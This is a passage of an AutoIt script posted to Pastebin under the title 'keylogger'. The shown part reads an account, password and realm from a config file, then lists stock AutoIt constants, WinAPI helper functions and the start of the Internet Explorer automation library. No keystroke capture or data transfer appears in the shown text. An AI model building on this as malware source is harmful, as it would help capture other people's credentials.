Advertisement
Guest User

keylogger

a guest
Apr 10th, 2018
315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 131.62 KB | None | 0 0
  1. $account = IniRead("config.ini", "Main", "Account", "")
  2. $password = IniRead("config.ini", "Main", "Password", "")
  3. $realm = IniRead("config.ini", "Main", "Realm", "")
  4. Global Const $opt_coordsrelative = 0
  5. Global Const $opt_coordsabsolute = 1
  6. Global Const $opt_coordsclient = 2
  7. Global Const $opt_errorsilent = 0
  8. Global Const $opt_errorfatal = 1
  9. Global Const $opt_capsnostore = 0
  10. Global Const $opt_capsstore = 1
  11. Global Const $opt_matchstart = 1
  12. Global Const $opt_matchany = 2
  13. Global Const $opt_matchexact = 3
  14. Global Const $opt_matchadvanced = 4
  15. Global Const $ccs_top = 1
  16. Global Const $ccs_nomovey = 2
  17. Global Const $ccs_bottom = 3
  18. Global Const $ccs_noresize = 4
  19. Global Const $ccs_noparentalign = 8
  20. Global Const $ccs_nohilite = 16
  21. Global Const $ccs_adjustable = 32
  22. Global Const $ccs_nodivider = 64
  23. Global Const $ccs_vert = 128
  24. Global Const $ccs_left = 129
  25. Global Const $ccs_nomovex = 130
  26. Global Const $ccs_right = 131
  27. Global Const $dt_drivetype = 1
  28. Global Const $dt_ssdstatus = 2
  29. Global Const $dt_bustype = 3
  30. Global Const $proxy_ie = 0
  31. Global Const $proxy_none = 1
  32. Global Const $proxy_specified = 2
  33. Global Const $objid_window = 0
  34. Global Const $objid_titlebar = -2
  35. Global Const $objid_sizegrip = -7
  36. Global Const $objid_caret = -8
  37. Global Const $objid_cursor = -9
  38. Global Const $objid_alert = -10
  39. Global Const $objid_sound = -11
  40. Global Const $dlg_centerontop = 0
  41. Global Const $dlg_notitle = 1
  42. Global Const $dlg_notontop = 2
  43. Global Const $dlg_textleft = 4
  44. Global Const $dlg_textright = 8
  45. Global Const $dlg_moveable = 16
  46. Global Const $dlg_textvcenter = 32
  47. Global Const $idc_unknown = 0
  48. Global Const $idc_appstarting = 1
  49. Global Const $idc_arrow = 2
  50. Global Const $idc_cross = 3
  51. Global Const $idc_hand = 32649
  52. Global Const $idc_help = 4
  53. Global Const $idc_ibeam = 5
  54. Global Const $idc_icon = 6
  55. Global Const $idc_no = 7
  56. Global Const $idc_size = 8
  57. Global Const $idc_sizeall = 9
  58. Global Const $idc_sizenesw = 10
  59. Global Const $idc_sizens = 11
  60. Global Const $idc_sizenwse = 12
  61. Global Const $idc_sizewe = 13
  62. Global Const $idc_uparrow = 14
  63. Global Const $idc_wait = 15
  64. Global Const $idi_application = 32512
  65. Global Const $idi_asterisk = 32516
  66. Global Const $idi_exclamation = 32515
  67. Global Const $idi_hand = 32513
  68. Global Const $idi_question = 32514
  69. Global Const $idi_winlogo = 32517
  70. Global Const $idi_shield = 32518
  71. Global Const $idi_error = $idi_hand
  72. Global Const $idi_information = $idi_asterisk
  73. Global Const $idi_warning = $idi_exclamation
  74. Global Const $sd_logoff = 0
  75. Global Const $sd_shutdown = 1
  76. Global Const $sd_reboot = 2
  77. Global Const $sd_force = 4
  78. Global Const $sd_powerdown = 8
  79. Global Const $sd_forcehung = 16
  80. Global Const $sd_standby = 32
  81. Global Const $sd_hibernate = 64
  82. Global Const $stdin_child = 1
  83. Global Const $stdout_child = 2
  84. Global Const $stderr_child = 4
  85. Global Const $stderr_merged = 8
  86. Global Const $stdio_inherit_parent = 16
  87. Global Const $run_create_new_console = 65536
  88. Global Const $ubound_dimensions = 0
  89. Global Const $ubound_rows = 1
  90. Global Const $ubound_columns = 2
  91. Global Const $mouseeventf_absolute = 32768
  92. Global Const $mouseeventf_move = 1
  93. Global Const $mouseeventf_leftdown = 2
  94. Global Const $mouseeventf_leftup = 4
  95. Global Const $mouseeventf_rightdown = 8
  96. Global Const $mouseeventf_rightup = 16
  97. Global Const $mouseeventf_middledown = 32
  98. Global Const $mouseeventf_middleup = 64
  99. Global Const $mouseeventf_wheel = 2048
  100. Global Const $mouseeventf_xdown = 128
  101. Global Const $mouseeventf_xup = 256
  102. Global Const $reg_none = 0
  103. Global Const $reg_sz = 1
  104. Global Const $reg_expand_sz = 2
  105. Global Const $reg_binary = 3
  106. Global Const $reg_dword = 4
  107. Global Const $reg_dword_little_endian = 4
  108. Global Const $reg_dword_big_endian = 5
  109. Global Const $reg_link = 6
  110. Global Const $reg_multi_sz = 7
  111. Global Const $reg_resource_list = 8
  112. Global Const $reg_full_resource_descriptor = 9
  113. Global Const $reg_resource_requirements_list = 10
  114. Global Const $reg_qword = 11
  115. Global Const $reg_qword_little_endian = 11
  116. Global Const $hwnd_bottom = 1
  117. Global Const $hwnd_notopmost = -2
  118. Global Const $hwnd_top = 0
  119. Global Const $hwnd_topmost = -1
  120. Global Const $swp_nosize = 1
  121. Global Const $swp_nomove = 2
  122. Global Const $swp_nozorder = 4
  123. Global Const $swp_noredraw = 8
  124. Global Const $swp_noactivate = 16
  125. Global Const $swp_framechanged = 32
  126. Global Const $swp_drawframe = 32
  127. Global Const $swp_showwindow = 64
  128. Global Const $swp_hidewindow = 128
  129. Global Const $swp_nocopybits = 256
  130. Global Const $swp_noownerzorder = 512
  131. Global Const $swp_noreposition = 512
  132. Global Const $swp_nosendchanging = 1024
  133. Global Const $swp_defererase = 8192
  134. Global Const $swp_asyncwindowpos = 16384
  135. Global Const $keyword_default = 1
  136. Global Const $keyword_null = 2
  137. Global Const $declared_local = -1
  138. Global Const $declared_unknown = 0
  139. Global Const $declared_global = 1
  140. Global Const $assign_create = 0
  141. Global Const $assign_forcelocal = 1
  142. Global Const $assign_forceglobal = 2
  143. Global Const $assign_existfail = 4
  144. Global Const $bi_enable = 0
  145. Global Const $bi_disable = 1
  146. Global Const $break_enable = 1
  147. Global Const $break_disable = 0
  148. Global Const $cdtray_open = "open"
  149. Global Const $cdtray_closed = "closed"
  150. Global Const $send_default = 0
  151. Global Const $send_raw = 1
  152. Global Const $dir_default = 0
  153. Global Const $dir_extended = 1
  154. Global Const $dir_norecurse = 2
  155. Global Const $dir_remove = 1
  156. Global Const $dt_all = "ALL"
  157. Global Const $dt_cdrom = "CDROM"
  158. Global Const $dt_removable = "REMOVABLE"
  159. Global Const $dt_fixed = "FIXED"
  160. Global Const $dt_network = "NETWORK"
  161. Global Const $dt_ramdisk = "RAMDISK"
  162. Global Const $dt_unknown = "UNKNOWN"
  163. Global Const $dt_undefined = 1
  164. Global Const $dt_fat = "FAT"
  165. Global Const $dt_fat32 = "FAT32"
  166. Global Const $dt_exfat = "exFAT"
  167. Global Const $dt_ntfs = "NTFS"
  168. Global Const $dt_nwfs = "NWFS"
  169. Global Const $dt_cdfs = "CDFS"
  170. Global Const $dt_udf = "UDF"
  171. Global Const $dma_default = 0
  172. Global Const $dma_persistent = 1
  173. Global Const $dma_authentication = 8
  174. Global Const $ds_unknown = "UNKNOWN"
  175. Global Const $ds_ready = "READY"
  176. Global Const $ds_notready = "NOTREADY"
  177. Global Const $ds_invalid = "INVALID"
  178. Global Const $mouse_click_left = "left"
  179. Global Const $mouse_click_right = "right"
  180. Global Const $mouse_click_middle = "middle"
  181. Global Const $mouse_click_main = "main"
  182. Global Const $mouse_click_menu = "menu"
  183. Global Const $mouse_click_primary = "primary"
  184. Global Const $mouse_click_secondary = "secondary"
  185. Global Const $mouse_wheel_up = "up"
  186. Global Const $mouse_wheel_down = "down"
  187. Global Const $number_auto = 0
  188. Global Const $number_32bit = 1
  189. Global Const $number_64bit = 2
  190. Global Const $number_double = 3
  191. Global Const $obj_name = 1
  192. Global Const $obj_string = 2
  193. Global Const $obj_progid = 3
  194. Global Const $obj_file = 4
  195. Global Const $obj_module = 5
  196. Global Const $obj_clsid = 6
  197. Global Const $obj_iid = 7
  198. Global Const $exitclose_normal = 0
  199. Global Const $exitclose_byexit = 1
  200. Global Const $exitclose_byclick = 2
  201. Global Const $exitclose_bylogoff = 3
  202. Global Const $exitclose_byshutdown = 4
  203. Global Const $process_stats_memory = 0
  204. Global Const $process_stats_io = 1
  205. Global Const $process_low = 0
  206. Global Const $process_belownormal = 1
  207. Global Const $process_normal = 2
  208. Global Const $process_abovenormal = 3
  209. Global Const $process_high = 4
  210. Global Const $process_realtime = 5
  211. Global Const $run_logon_noprofile = 0
  212. Global Const $run_logon_profile = 1
  213. Global Const $run_logon_network = 2
  214. Global Const $run_logon_inherit = 4
  215. Global Const $sound_nowait = 0
  216. Global Const $sound_wait = 1
  217. Global Const $shex_open = "open"
  218. Global Const $shex_edit = "edit"
  219. Global Const $shex_print = "print"
  220. Global Const $shex_properties = "properties"
  221. Global Const $tcp_data_default = 0
  222. Global Const $tcp_data_binary = 1
  223. Global Const $udp_open_default = 0
  224. Global Const $udp_open_broadcast = 1
  225. Global Const $udp_data_default = 0
  226. Global Const $udp_data_binary = 1
  227. Global Const $udp_data_array = 2
  228. Global Const $tip_noicon = 0
  229. Global Const $tip_infoicon = 1
  230. Global Const $tip_warningicon = 2
  231. Global Const $tip_erroricon = 3
  232. Global Const $tip_balloon = 1
  233. Global Const $tip_center = 2
  234. Global Const $tip_forcevisible = 4
  235. Global Const $windows_noontop = 0
  236. Global Const $windows_ontop = 1
  237. Global Const $win_state_exists = 1
  238. Global Const $win_state_visible = 2
  239. Global Const $win_state_enabled = 4
  240. Global Const $win_state_active = 8
  241. Global Const $win_state_minimized = 16
  242. Global Const $win_state_maximized = 32
  243. Global Const $fc_nooverwrite = 0
  244. Global Const $fc_overwrite = 1
  245. Global Const $fc_createpath = 8
  246. Global Const $ft_modified = 0
  247. Global Const $ft_created = 1
  248. Global Const $ft_accessed = 2
  249. Global Const $ft_array = 0
  250. Global Const $ft_string = 1
  251. Global Const $fsf_createbutton = 1
  252. Global Const $fsf_newdialog = 2
  253. Global Const $fsf_editcontrol = 4
  254. Global Const $ft_nonrecursive = 0
  255. Global Const $ft_recursive = 1
  256. Global Const $fo_read = 0
  257. Global Const $fo_append = 1
  258. Global Const $fo_overwrite = 2
  259. Global Const $fo_createpath = 8
  260. Global Const $fo_binary = 16
  261. Global Const $fo_unicode = 32
  262. Global Const $fo_utf16_le = 32
  263. Global Const $fo_utf16_be = 64
  264. Global Const $fo_utf8 = 128
  265. Global Const $fo_utf8_nobom = 256
  266. Global Const $fo_ansi = 512
  267. Global Const $fo_utf16_le_nobom = 1024
  268. Global Const $fo_utf16_be_nobom = 2048
  269. Global Const $fo_utf8_full = 16384
  270. Global Const $fo_fullfile_detect = 16384
  271. Global Const $eof = -1
  272. Global Const $fd_filemustexist = 1
  273. Global Const $fd_pathmustexist = 2
  274. Global Const $fd_multiselect = 4
  275. Global Const $fd_promptcreatenew = 8
  276. Global Const $fd_promptoverwrite = 16
  277. Global Const $create_new = 1
  278. Global Const $create_always = 2
  279. Global Const $open_existing = 3
  280. Global Const $open_always = 4
  281. Global Const $truncate_existing = 5
  282. Global Const $invalid_set_file_pointer = -1
  283. Global Const $file_begin = 0
  284. Global Const $file_current = 1
  285. Global Const $file_end = 2
  286. Global Const $file_attribute_readonly = 1
  287. Global Const $file_attribute_hidden = 2
  288. Global Const $file_attribute_system = 4
  289. Global Const $file_attribute_directory = 16
  290. Global Const $file_attribute_archive = 32
  291. Global Const $file_attribute_device = 64
  292. Global Const $file_attribute_normal = 128
  293. Global Const $file_attribute_temporary = 256
  294. Global Const $file_attribute_sparse_file = 512
  295. Global Const $file_attribute_reparse_point = 1024
  296. Global Const $file_attribute_compressed = 2048
  297. Global Const $file_attribute_offline = 4096
  298. Global Const $file_attribute_not_content_indexed = 8192
  299. Global Const $file_attribute_encrypted = 16384
  300. Global Const $file_share_read = 1
  301. Global Const $file_share_write = 2
  302. Global Const $file_share_delete = 4
  303. Global Const $file_share_readwrite = BitOR($file_share_read, $file_share_write)
  304. Global Const $file_share_any = BitOR($file_share_read, $file_share_write, $file_share_delete)
  305. Global Const $generic_all = 268435456
  306. Global Const $generic_execute = 536870912
  307. Global Const $generic_write = 1073741824
  308. Global Const $generic_read = -2147483648
  309. Global Const $generic_readwrite = BitOR($generic_read, $generic_write)
  310. Global Const $file_encoding_utf16le = 32
  311. Global Const $fe_entire_utf8 = 1
  312. Global Const $fe_partialfirst_utf8 = 2
  313. Global Const $fn_fullpath = 0
  314. Global Const $fn_relativepath = 1
  315. Global Const $fv_comments = "Comments"
  316. Global Const $fv_companyname = "CompanyName"
  317. Global Const $fv_filedescription = "FileDescription"
  318. Global Const $fv_fileversion = "FileVersion"
  319. Global Const $fv_internalname = "InternalName"
  320. Global Const $fv_legalcopyright = "LegalCopyright"
  321. Global Const $fv_legaltrademarks = "LegalTrademarks"
  322. Global Const $fv_originalfilename = "OriginalFilename"
  323. Global Const $fv_productname = "ProductName"
  324. Global Const $fv_productversion = "ProductVersion"
  325. Global Const $fv_privatebuild = "PrivateBuild"
  326. Global Const $fv_specialbuild = "SpecialBuild"
  327. Global Const $frta_nocount = 0
  328. Global Const $frta_count = 1
  329. Global Const $frta_intarrays = 2
  330. Global Const $frta_entiresplit = 4
  331. Global Const $flta_filesfolders = 0
  332. Global Const $flta_files = 1
  333. Global Const $flta_folders = 2
  334. Global Const $fltar_filesfolders = 0
  335. Global Const $fltar_files = 1
  336. Global Const $fltar_folders = 2
  337. Global Const $fltar_nohidden = 4
  338. Global Const $fltar_nosystem = 8
  339. Global Const $fltar_nolink = 16
  340. Global Const $fltar_norecur = 0
  341. Global Const $fltar_recur = 1
  342. Global Const $fltar_nosort = 0
  343. Global Const $fltar_sort = 1
  344. Global Const $fltar_fastsort = 2
  345. Global Const $fltar_nopath = 0
  346. Global Const $fltar_relpath = 1
  347. Global Const $fltar_fullpath = 2
  348. Global Const $path_original = 0
  349. Global Const $path_drive = 1
  350. Global Const $path_directory = 2
  351. Global Const $path_filename = 3
  352. Global Const $path_extension = 4
  353. Global Const $mb_ok = 0
  354. Global Const $mb_okcancel = 1
  355. Global Const $mb_abortretryignore = 2
  356. Global Const $mb_yesnocancel = 3
  357. Global Const $mb_yesno = 4
  358. Global Const $mb_retrycancel = 5
  359. Global Const $mb_canceltrycontinue = 6
  360. Global Const $mb_help = 16384
  361. Global Const $mb_iconstop = 16
  362. Global Const $mb_iconerror = 16
  363. Global Const $mb_iconhand = 16
  364. Global Const $mb_iconquestion = 32
  365. Global Const $mb_iconexclamation = 48
  366. Global Const $mb_iconwarning = 48
  367. Global Const $mb_iconinformation = 64
  368. Global Const $mb_iconasterisk = 64
  369. Global Const $mb_usericon = 128
  370. Global Const $mb_defbutton1 = 0
  371. Global Const $mb_defbutton2 = 256
  372. Global Const $mb_defbutton3 = 512
  373. Global Const $mb_defbutton4 = 768
  374. Global Const $mb_applmodal = 0
  375. Global Const $mb_systemmodal = 4096
  376. Global Const $mb_taskmodal = 8192
  377. Global Const $mb_default_desktop_only = 131072
  378. Global Const $mb_right = 524288
  379. Global Const $mb_rtlreading = 1048576
  380. Global Const $mb_setforeground = 65536
  381. Global Const $mb_topmost = 262144
  382. Global Const $mb_service_notification = 2097152
  383. Global Const $mb_rightjustified = $mb_right
  384. Global Const $idtimeout = -1
  385. Global Const $idok = 1
  386. Global Const $idcancel = 2
  387. Global Const $idabort = 3
  388. Global Const $idretry = 4
  389. Global Const $idignore = 5
  390. Global Const $idyes = 6
  391. Global Const $idno = 7
  392. Global Const $idclose = 8
  393. Global Const $idhelp = 9
  394. Global Const $idtryagain = 10
  395. Global Const $idcontinue = 11
  396. Global Const $str_nocasesense = 0
  397. Global Const $str_casesense = 1
  398. Global Const $str_nocasesensebasic = 2
  399. Global Const $str_stripleading = 1
  400. Global Const $str_striptrailing = 2
  401. Global Const $str_stripspaces = 4
  402. Global Const $str_stripall = 8
  403. Global Const $str_chrsplit = 0
  404. Global Const $str_entiresplit = 1
  405. Global Const $str_nocount = 2
  406. Global Const $str_regexpmatch = 0
  407. Global Const $str_regexparraymatch = 1
  408. Global Const $str_regexparrayfullmatch = 2
  409. Global Const $str_regexparrayglobalmatch = 3
  410. Global Const $str_regexparrayglobalfullmatch = 4
  411. Global Const $str_endisstart = 0
  412. Global Const $str_endnotstart = 1
  413. Global Const $sb_ansi = 1
  414. Global Const $sb_utf16le = 2
  415. Global Const $sb_utf16be = 3
  416. Global Const $sb_utf8 = 4
  417. Global Const $se_utf16 = 0
  418. Global Const $se_ansi = 1
  419. Global Const $se_utf8 = 2
  420. Global Const $str_utf16 = 0
  421. Global Const $str_ucs2 = 1
  422. #Region Global Variables and Constants
  423.     Global Const $format_message_allocate_buffer = 256
  424.     Global Const $format_message_ignore_inserts = 512
  425.     Global Const $format_message_from_string = 1024
  426.     Global Const $format_message_from_hmodule = 2048
  427.     Global Const $format_message_from_system = 4096
  428.     Global Const $format_message_argument_array = 8192
  429. #EndRegion Global Variables and Constants
  430.  
  431. Func _winapi_beep($ifreq = 500, $iduration = 1000)
  432.     Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration)
  433.     If @error Then Return SetError(@error, @extended, False)
  434.     Return $aresult[0]
  435. EndFunc
  436.  
  437. Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
  438.     Local $sbuffertype = "struct*"
  439.     If IsString($pbuffer) Then $sbuffertype = "wstr"
  440.     Local $aresult = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "struct*", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
  441.     If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  442.     If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
  443.     Return $aresult[0]
  444. EndFunc
  445.  
  446. Func _winapi_geterrormessage($icode, $ilanguage = 0, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  447.     Local $aret = DllCall("kernel32.dll", "dword", "FormatMessageW", "dword", 4096, "ptr", 0, "dword", $icode, "dword", $ilanguage, "wstr", "", "dword", 4096, "ptr", 0)
  448.     If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  449.     Return SetError($_icurrenterror, $_icurrentextended, StringRegExpReplace($aret[5], "[" & @LF & "," & @CR & "]*\Z", ""))
  450. EndFunc
  451.  
  452. Func _winapi_getlasterror(Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  453.     Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  454.     Return SetError($_icurrenterror, $_icurrentextended, $aresult[0])
  455. EndFunc
  456.  
  457. Func _winapi_getlasterrormessage(Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  458.     Local $ilasterror = _winapi_getlasterror()
  459.     Local $tbufferptr = DllStructCreate("ptr")
  460.     Local $ncount = _winapi_formatmessage(BitOR($format_message_allocate_buffer, $format_message_from_system), 0, $ilasterror, 0, $tbufferptr, 0, 0)
  461.     If @error Then Return SetError(-@error, @extended, "")
  462.     Local $stext = ""
  463.     Local $pbuffer = DllStructGetData($tbufferptr, 1)
  464.     If $pbuffer Then
  465.         If $ncount > 0 Then
  466.             Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
  467.             $stext = DllStructGetData($tbuffer, 1)
  468.             If StringRight($stext, 2) = @CRLF Then $stext = StringTrimRight($stext, 2)
  469.         EndIf
  470.         DllCall("kernel32.dll", "handle", "LocalFree", "handle", $pbuffer)
  471.     EndIf
  472.     Return SetError($_icurrenterror, $_icurrentextended, $stext)
  473. EndFunc
  474.  
  475. Func _winapi_messagebeep($itype = 1)
  476.     Local $isound
  477.     Switch $itype
  478.         Case 1
  479.             $isound = 0
  480.         Case 2
  481.             $isound = 16
  482.         Case 3
  483.             $isound = 32
  484.         Case 4
  485.             $isound = 48
  486.         Case 5
  487.             $isound = 64
  488.         Case Else
  489.             $isound = -1
  490.     EndSwitch
  491.     Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
  492.     If @error Then Return SetError(@error, @extended, False)
  493.     Return $aresult[0]
  494. EndFunc
  495.  
  496. Func _winapi_msgbox($iflags, $stitle, $stext)
  497.     BlockInput(0)
  498.     MsgBox($iflags, $stitle, $stext & "      ")
  499. EndFunc
  500.  
  501. Func _winapi_setlasterror($ierrorcode, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  502.     DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrorcode)
  503.     Return SetError($_icurrenterror, $_icurrentextended, NULL )
  504. EndFunc
  505.  
  506. Func _winapi_showerror($stext, $bexit = True)
  507.     BlockInput(0)
  508.     MsgBox($mb_systemmodal, "Error", $stext & "      ")
  509.     If $bexit Then Exit
  510. EndFunc
  511.  
  512. Func _winapi_showlasterror($stext = "", $babort = False, $ilanguage = 0, Const $_icurrenterror = @error, Const $_icurrentextended = @extended)
  513.     Local $serror
  514.     Local $ilasterror = _winapi_getlasterror()
  515.     While 1
  516.         $serror = _winapi_geterrormessage($ilasterror, $ilanguage)
  517.         If @error AND $ilanguage Then
  518.             $ilanguage = 0
  519.         Else
  520.             ExitLoop
  521.         EndIf
  522.     WEnd
  523.     If StringStripWS($stext, $str_stripleading + $str_striptrailing) Then
  524.         $stext &= @CRLF & @CRLF
  525.     Else
  526.         $stext = ""
  527.     EndIf
  528.     _winapi_msgbox(BitOR(262144, BitShift(16, -2 * (NOT $ilasterror))), $ilasterror, $stext & $serror)
  529.     If $ilasterror Then
  530.         _winapi_setlasterror($ilasterror)
  531.         If $babort Then
  532.             Exit $ilasterror
  533.         EndIf
  534.     EndIf
  535.     Return SetError($_icurrenterror, $_icurrentextended, 1)
  536. EndFunc
  537.  
  538. Func _winapi_showmsg($stext)
  539.     _winapi_msgbox($mb_systemmodal, "Information", $stext)
  540. EndFunc
  541.  
  542. Func __comerrorformating(ByRef $ocomerror, $sprefix = @TAB)
  543.     Local Const $str_striptrailing = 2
  544.     Local $serror = "COM Error encountered in " & @ScriptName & " (" & $ocomerror.scriptline & ") :" & @CRLF & $sprefix & "Number        " & @TAB & "= 0x" & Hex($ocomerror.number, 8) & " (" & $ocomerror.number & ")" & @CRLF & $sprefix & "WinDescription" & @TAB & "= " & StringStripWS($ocomerror.windescription, $str_striptrailing) & @CRLF & $sprefix & "Description   " & @TAB & "= " & StringStripWS($ocomerror.description, $str_striptrailing) & @CRLF & $sprefix & "Source        " & @TAB & "= " & $ocomerror.source & @CRLF & $sprefix & "HelpFile      " & @TAB & "= " & $ocomerror.helpfile & @CRLF & $sprefix & "HelpContext   " & @TAB & "= " & $ocomerror.helpcontext & @CRLF & $sprefix & "LastDllError  " & @TAB & "= " & $ocomerror.lastdllerror & @CRLF & $sprefix & "Retcode       " & @TAB & "= 0x" & Hex($ocomerror.retcode)
  545.     Return $serror
  546. EndFunc
  547.  
  548. #Region Header
  549. #EndRegion Header
  550. #Region Global Variables
  551.     Global $__g_iieloadwaittimeout = 300000
  552.     Global $__g_bieau3debug = False
  553.     Global $__g_bieerrornotify = True
  554.     Global $__g_oieerrorhandler, $__g_sieusererrorhandler
  555. #EndRegion Global Variables
  556. #Region Global Constants
  557.     Global Const $__gaieau3versioninfo[6] = ["T", 3, 0, 2, "20140819", "T3.0-2"]
  558.     Global Const $lsfw_lock = 1, $lsfw_unlock = 2
  559.     Global Enum $_iestatus_success = 0, $_iestatus_generalerror, $_iestatus_comerror, $_iestatus_invaliddatatype, $_iestatus_invalidobjecttype, $_iestatus_invalidvalue, $_iestatus_loadwaittimeout, $_iestatus_nomatch, $_iestatus_accessisdenied, $_iestatus_clientdisconnected
  560. #EndRegion Global Constants
  561. #Region Core functions
  562.  
  563.     Func _iecreate($surl = "about:blank", $itryattach = 0, $ivisible = 1, $iwait = 1, $itakefocus = 1)
  564.         If NOT $ivisible Then $itakefocus = 0
  565.         If $itryattach Then
  566.             Local $oresult = _ieattach($surl, "url")
  567.             If IsObj($oresult) Then
  568.                 If $itakefocus Then WinActivate(HWnd($oresult.hwnd))
  569.                 Return SetError($_iestatus_success, 1, $oresult)
  570.             EndIf
  571.         EndIf
  572.         Local $imustunlock = 0
  573.         If NOT $ivisible AND __ielocksetforegroundwindow($lsfw_lock) Then $imustunlock = 1
  574.         Local $oobject = ObjCreate("InternetExplorer.Application")
  575.         If NOT IsObj($oobject) Then
  576.             __ieconsolewriteerror("Error", "_IECreate", "", "Browser Object Creation Failed")
  577.             If $imustunlock Then __ielocksetforegroundwindow($lsfw_unlock)
  578.             Return SetError($_iestatus_generalerror, 0, 0)
  579.         EndIf
  580.         $oobject.visible = $ivisible
  581.         If $imustunlock AND NOT __ielocksetforegroundwindow($lsfw_unlock) Then __ieconsolewriteerror("Warning", "_IECreate", "", "Foreground Window Unlock Failed!")
  582.         _ienavigate($oobject, $surl, $iwait)
  583.         Local $ierror = @error
  584.         If NOT $ierror AND StringLeft($surl, 6) = "about:" Then
  585.             Local $odocument = $oobject.document
  586.             _ieaction($odocument, "focus")
  587.         EndIf
  588.         Return SetError($ierror, 0, $oobject)
  589.     EndFunc
  590.  
  591.     Func _iecreateembedded()
  592.         Local $oobject = ObjCreate("Shell.Explorer.2")
  593.         If NOT IsObj($oobject) Then
  594.             __ieconsolewriteerror("Error", "_IECreateEmbedded", "", "WebBrowser Object Creation Failed")
  595.             Return SetError($_iestatus_generalerror, 0, 0)
  596.         EndIf
  597.         Return SetError($_iestatus_success, 0, $oobject)
  598.     EndFunc
  599.  
  600.     Func _ienavigate(ByRef $oobject, $surl, $iwait = 1)
  601.         If NOT IsObj($oobject) Then
  602.             __ieconsolewriteerror("Error", "_IENavigate", "$_IESTATUS_InvalidDataType")
  603.             Return SetError($_iestatus_invaliddatatype, 1, 0)
  604.         EndIf
  605.         If NOT __ieisobjtype($oobject, "documentContainer") Then
  606.             __ieconsolewriteerror("Error", "_IENavigate", "$_IESTATUS_InvalidObjectType")
  607.             Return SetError($_iestatus_invalidobjecttype, 1, 0)
  608.         EndIf
  609.         $oobject.navigate($surl)
  610.         If @error Then
  611.             __ieconsolewriteerror("Error", "_IENavigate", "$_IESTATUS_COMError", @error)
  612.             Return SetError($_iestatus_comerror, @error, 0)
  613.         EndIf
  614.         If $iwait Then
  615.             _ieloadwait($oobject)
  616.             Return SetError(@error, 0, -1)
  617.         EndIf
  618.         Return SetError($_iestatus_success, 0, -1)
  619.     EndFunc
  620.  
  621.     Func _ieattach($sstring, $smode = "title", $iinstance = 1)
  622.         $smode = StringLower($smode)
  623.         $iinstance = Int($iinstance)
  624.         If $iinstance < 1 Then
  625.             __ieconsolewriteerror("Error", "_IEAttach", "$_IESTATUS_InvalidValue", "$iInstance < 1")
  626.             Return SetError($_iestatus_invalidvalue, 3, 0)
  627.         EndIf
  628.         If $smode = "embedded" OR $smode = "dialogbox" Then
  629.             Local $iwintitlematchmode = Opt("WinTitleMatchMode", $opt_matchany)
  630.             If $smode = "dialogbox" AND $iinstance > 1 Then
  631.                 If IsHWnd($sstring) Then
  632.                     $iinstance = 1
  633.                     __ieconsolewriteerror("Warning", "_IEAttach", "$_IESTATUS_GeneralError", "$iInstance > 1 invalid with HWnd and DialogBox.  Setting to 1.")
  634.                 Else
  635.                     Local $awinlist = WinList($sstring, "")
  636.                     If $iinstance <= $awinlist[0][0] Then
  637.                         $sstring = $awinlist[$iinstance][1]
  638.                         $iinstance = 1
  639.                     Else
  640.                         __ieconsolewriteerror("Warning", "_IEAttach", "$_IESTATUS_NoMatch")
  641.                         Opt("WinTitleMatchMode", $iwintitlematchmode)
  642.                         Return SetError($_iestatus_nomatch, 1, 0)
  643.                     EndIf
  644.                 EndIf
  645.             EndIf
  646.             Local $hcontrol = ControlGetHandle($sstring, "", "[CLASS:Internet Explorer_Server; INSTANCE:" & $iinstance & "]")
  647.             Local $oresult = __iecontrolgetobjfromhwnd($hcontrol)
  648.             Opt("WinTitleMatchMode", $iwintitlematchmode)
  649.             If IsObj($oresult) Then
  650.                 Return SetError($_iestatus_success, 0, $oresult)
  651.             Else
  652.                 __ieconsolewriteerror("Warning", "_IEAttach", "$_IESTATUS_NoMatch")
  653.                 Return SetError($_iestatus_nomatch, 1, 0)
  654.             EndIf
  655.         EndIf
  656.         Local $oshell = ObjCreate("Shell.Application")
  657.         Local $oshellwindows = $oshell.windows()
  658.         Local $itmp = 1
  659.         Local $inotifystatus, $bisbrowser, $stmp
  660.         Local $bstatus
  661.         For $owindow In $oshellwindows
  662.             $bisbrowser = True
  663.             $bstatus = __ieinternalerrorhandlerregister()
  664.             If NOT $bstatus Then __ieconsolewriteerror("Warning", "_IEAttach", "Cannot register internal error handler, cannot trap COM errors", "Use _IEErrorHandlerRegister() to register a user error handler")
  665.             $inotifystatus = _ieerrornotify()
  666.             _ieerrornotify(False)
  667.             If $bisbrowser Then
  668.                 $stmp = $owindow.type
  669.                 If @error Then $bisbrowser = False
  670.             EndIf
  671.             If $bisbrowser Then
  672.                 $stmp = $owindow.document.title
  673.                 If @error Then $bisbrowser = False
  674.             EndIf
  675.             _ieerrornotify($inotifystatus)
  676.             __ieinternalerrorhandlerderegister()
  677.             If $bisbrowser Then
  678.                 Switch $smode
  679.                     Case "title"
  680.                         If StringInStr($owindow.document.title, $sstring) > 0 Then
  681.                             If $iinstance = $itmp Then
  682.                                 Return SetError($_iestatus_success, 0, $owindow)
  683.                             Else
  684.                                 $itmp += 1
  685.                             EndIf
  686.                         EndIf
  687.                     Case "instance"
  688.                         If $iinstance = $itmp Then
  689.                             Return SetError($_iestatus_success, 0, $owindow)
  690.                         Else
  691.                             $itmp += 1
  692.                         EndIf
  693.                     Case "windowtitle"
  694.                         Local $bfound = False
  695.                         $stmp = RegRead("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\", "Window Title")
  696.                         If NOT @error Then
